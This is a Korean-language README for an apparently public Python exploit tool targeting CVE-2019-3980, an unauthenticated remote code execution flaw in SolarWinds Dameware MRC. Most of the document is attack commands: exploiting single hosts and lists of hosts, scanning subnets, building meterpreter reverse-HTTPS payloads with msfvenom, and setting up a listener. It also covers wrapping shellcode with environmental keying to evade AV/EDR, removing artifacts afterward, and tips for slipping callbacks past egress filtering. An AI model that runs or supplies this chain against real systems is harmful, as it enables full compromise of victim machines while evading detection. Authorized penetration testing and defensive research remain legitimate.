
CVE-2019-3980에 대한 Python 3 익스플로잇. SolarWinds Dameware MRC 스마트 카드 인증 우회를 통한 인증되지 않은 SYSTEM 권한 RCE.

SolarWinds Dameware MRC의 스마트 카드 인증 우회를 통한 비인증 RCE
CVE-2019-3980 | CVSS 9.8 Critical | TCP/6129
원본 연구 및 PoC: Tenable, Inc. (TRA-2019-43)
Python 3 도구: David Boyd (@Fir3d0g)
Dameware MRC는 TCP/6129 포트에서 원격 제어 서비스(DWRCS.exe)를 노출합니다. 스마트 카드 인증 핸드셰이크 중 서버는 공격자가 제어하는 파일을 스마트 카드 드라이버 설치 프로그램(dwDrvInst.exe)으로 수락하고 이를 SYSTEM 권한으로 실행하며, 인증이 전혀 필요하지 않습니다.
DameFlare는 전체 프로토콜 핸드셰이크(버전 협상 → AES 키 파생 → Diffie-Hellman 키 교환 → RSA 서명 → 드라이버 업로드)를 구현하여 임의의 페이로드를 전달하고 비인증 원격 코드 실행을 달성합니다.
| 제품 | 취약 버전 | 수정 버전 |
|---|---|---|
| Dameware MRC 12.0.x | 모든 빌드 | 핫픽스 1 |
| Dameware MRC 12.1.x | 모든 빌드 | 핫픽스 3 |
git clone https://github.com/boydhacks/dameflare
cd dameflare
pip3 install -r requirements.txt
python3 dameflare.py -h
python3 dameflare.py -t 192.168.1.50 -e payload.exe
python3 dameflare.py -t 192.168.1.50 -e payload.exe -v
python3 dameflare.py -t 10.0.0.100 -e payload.exe -p 6130 -T 15
python3 dameflare.py -f vuln_hosts.txt -e payload.exe
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
python3 dameflare.py --scan -t 192.168.1.0/24
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt --scan-threads 50
python3 dameflare.py --scan -f port6129.txt -o vuln_hosts.txt
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
익스플로잇 후 대상에서 dwDrvInst.exe 아티팩트를 제거합니다:
python3 dameflare.py -t 192.168.1.50 --cleanup
python3 dameflare.py -f vuln_hosts.txt --cleanup
msfvenom이 PATH에 있어야 합니다. 짧은 지연 후 dwDrvInst.exe와 자기 자신을 제거하는 자체 삭제 EXE를 업로드합니다.
또는 자격 증명이 있다면 NXC와 같은 도구를 사용할 수 있습니다:
nxc smb <target> -u <user> -p <pass> -x "del /f /q C:\Windows\Temp\dwDrvInst.exe"
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f raw -o payload.bin
msfvenom -p windows/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x86.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x64.exe
AV/EDR 샌드박스 분석을 회피하기 위해 원시 셸코드를 환경 키잉(environmental keying)으로 래핑합니다. 페이로드는 키가 일치하는 머신에서만 복호화되어 실행됩니다. 훌륭한 작업을 해준 Kevin Clark(@GuhnooPlusLinux)에게 큰 감사를 전합니다!
# 도메인과 호스트 이름을 키로 사용 (FQDN이 아닌 짧은 이름 사용)
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
# 도메인만 키로 사용
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -o payload_wrapped.exe
# 정적 키만 사용 (테스트에 유용)
python3 ek47.py srdi-shellcode -p payload.bin -s 5 -o payload_wrapped.exe
# srdi-shellcode가 탐지될 경우 대체 인젝션 방법
python3 ek47.py dinvoke-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
python3 ek47.py noapi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=6129 EXITFUNC=thread -f raw -o payload.bin
python3 ek47.py srdi-shellcode -p payload.bin -d CONTOSO -c WS01 -o payload_wrapped.exe
python3 dameflare.py -t <target> -e payload_wrapped.exe
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_https; set LHOST <ip>; set LPORT 443; set ExitOnSession false; set StagerVerifySSLCert false; set EXITFUNC thread; exploit -j"
참고: 페이로드 이름은 msfvenom과 핸들러 간에 정확히 일치해야 합니다:
- 스테이지리스:
windows/x64/meterpreter_reverse_https(밑줄)- 스테이지드:
windows/x64/meterpreter/reverse_https(슬래시)
팁: Dameware 환경에서는 포트
6129가 아웃바운드로 허용되는 경우가 많으며 정상적인 DWRCS 트래픽과 자연스럽게 섞입니다.443이 차단되었거나 프록시에 의해 검사된다면LPORT=6129를 시도해 보세요. 대상 네트워크가 해당 포트를 허용하도록 설계되었을 가능성이 높기 때문입니다.
이 도구는 승인된 침투 테스트 및 레드 팀 운영에서만 사용하도록 제작되었습니다. 작성자는 무단 또는 불법 사용에 대해 어떠한 책임도 지지 않습니다.